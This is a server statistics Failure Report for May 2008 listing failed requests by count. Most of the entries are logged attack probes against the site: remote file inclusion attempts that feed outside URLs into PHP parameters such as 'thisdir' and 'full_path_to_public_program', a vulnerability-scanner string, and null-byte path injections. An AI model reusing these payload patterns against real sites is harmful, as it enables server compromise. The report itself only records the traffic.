The Failure Report identifies requests that were made to the server that resulted in an error such as a '404 Document Not Found'. These errors can be caused by a mistyped URL or a broken link on a referring page.
This report shows the first 30 results by number of requests. This report is sorted by number of requests.
| File Name | Number of requests | |
|---|---|---|
| 1. | /admin/business_inc/saveserver.php | 656 |
| /admin/business_inc/saveserver.php?thisdir=http://www.wraysb... | 69 | |
| /admin/business_inc/saveserver.php?thisdir=http://www.snd.fr... | 29 | |
| /admin/business_inc/saveserver.php?thisdir=http://www.englis... | 20 | |
| /admin/business_inc/saveserver.php?thisdir=http://www.diabet... | 20 | |
| /admin/business_inc/saveserver.php?thisdir=http://www.freeph... | 19 | |
| /admin/business_inc/saveserver.php?thisdir=http://soesy.barc... | 19 | |
| /admin/business_inc/saveserver.php?thisdir=http://www.skylea... | 15 | |
| /admin/business_inc/saveserver.php?thisdir=http://www.25year... | 14 | |
| /admin/business_inc/saveserver.php?thisdir=http://kroll-gmbh... | 12 | |
| /admin/business_inc/saveserver.php?thisdir=http://www.weber-... | 11 | |
| /admin/business_inc/saveserver.php?thisdir=http://hotel682.s... | 10 | |
| /admin/business_inc/saveserver.php?thisdir=http://www.paying... | 10 | |
| /admin/business_inc/saveserver.php?thisdir=http://8-p.ru/com... | 10 | |
| 2. | /admin/classes/TplLoad.php | 497 |
| /admin/classes/TplLoad.php?full_path_to_public_program=http:... | 38 | |
| /admin/classes/TplLoad.php?full_path_to_public_program=http:... | 28 | |
| /admin/classes/TplLoad.php?full_path_to_public_program=http:... | 20 | |
| /admin/classes/TplLoad.php?full_path_to_public_program=http:... | 17 | |
| /admin/classes/TplLoad.php?full_path_to_public_program=http:... | 14 | |
| /admin/classes/TplLoad.php?full_path_to_public_program=http:... | 12 | |
| /admin/classes/TplLoad.php?full_path_to_public_program=http:... | 12 | |
| /admin/classes/TplLoad.php?full_path_to_public_program=http:... | 11 | |
| 3. | /admin/includes/author_panel_header.php | 153 |
| /admin/includes/author_panel_header.php?level=http://allblac... | 35 | |
| /admin/includes/author_panel_header.php?level=http://www.sky... | 17 | |
| /admin/includes/author_panel_header.php?level=http://www.zer... | 10 | |
| 4. | /admin/includes/admin_header.php | 77 |
| 5. | /admin/editeur/spaw_control.class.php | 26 |
| 6. | /admin/inc/change_action.php | 16 |
| 7. | /admin/ | 12 |
| /admin/?mosConfig_absolute_path=http://nairalanders.110mb.co... | 12 | |
| 8. | /cgi-bin/index.cgi | 7 |
| 9. | /admin/includes/header.php | 7 |
| 10. | /admin/spaw/spaw_control.class.php | 5 |
| 11. | /stats/current/REDIR.html</span> - <a href="http:/cache.sea... | 4 |
| 12. | /cgi-bin/skin/zero_vote/ask_password.php | 4 |
| 13. | /w00tw00t.at.ISC.SANS.DFind:) | 3 |
| 14. | /cgi-bin/awstats/index.cgi | 3 |
| 15. | /admin/sendmsg.php | 3 |
| 16. | http://www.webblog.com/cgi-bin/d-bots/ProxyJudge.pl | 2 |
| 17. | /cgi-bin/awstats.pl | 2 |
| 18. | /cgi-bin/awstats/awstats.pl | 2 |
| 19. | /admin/classes/TplLoad.php=http://201.6.243.67/UP/xs.txt | 2 |
| 20. | / | 1 |
| 21. | /stats/current/FAILURE.html/usr/sbin/httpd%00%00%00%00%00%00... | 1 |
| 22. | /admin/index.php | 1 |
| 23. | /usr/sbin/httpd%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00... | 1 |
| 24. | /%0312%%031%02DORK%0315%02:%0314http://www.geocities.com/rin... | 1 |
| 25. | HTTP/1.1 | 1 |
| 26. | /stats/current/REDIR.html/usr/sbin/httpd%00%00%00%00%00%00%0... | 1 |
| 27. | /images/1a.gif | 1 |
| 28. | /stats/current/%0312%%031%02DORK%0315%02:%0314http://www.geo... | 1 |
| 29. | /my<a href= HTTP/1.1 | 1 |
| 30. | http://zerg.helllabs.net/cgi-bin/textenv.pl | 1 |
| [not listed: 3] | 3 | |
This report was generated on June 1, 2008 00:18.
Report time frame May 1, 2008 00:00 to May 31, 2008 23:55.
| Web statistics report produced by: analog 5.32 / Report Magic 2.21 |